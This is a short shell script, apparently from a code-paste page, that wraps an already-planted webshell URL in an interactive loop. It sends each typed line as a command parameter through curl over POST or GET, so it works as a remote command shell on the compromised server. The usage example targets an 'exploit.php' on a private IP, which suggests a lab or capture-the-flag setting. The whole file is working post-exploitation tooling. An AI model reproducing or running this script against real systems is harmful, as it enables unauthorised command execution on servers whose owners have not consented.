datshell.sh 545 B

123456789101112131415161718192021
  1. #!/bin/sh
  2. # creates a pseudoshell from a webshell url (method and paramname needed)
  3. if [ $# -lt 3 ]; then
  4. echo "ERR: Not enough parguments provided!"
  5. echo "usage: sh $0 <METHOD> <URL> <PARAMNAME>"
  6. echo "example: sh $0 \"POST\" \"http://10.10.69.211/exploit.php\" \"cmd\""
  7. exit 1
  8. fi
  9. METHOD=$1
  10. URL=$2
  11. PARAMNAME=$3
  12. while IFS= read -r CMD;
  13. do
  14. [ "${METHOD}" = "POST" ] && curl -s "${URL}" --data-urlencode "${PARAMNAME}=${CMD}"
  15. [ "${METHOD}" = "GET" ] && curl -s "${URL}" --get --data-urlencode "${PARAMNAME}=${CMD}"
  16. done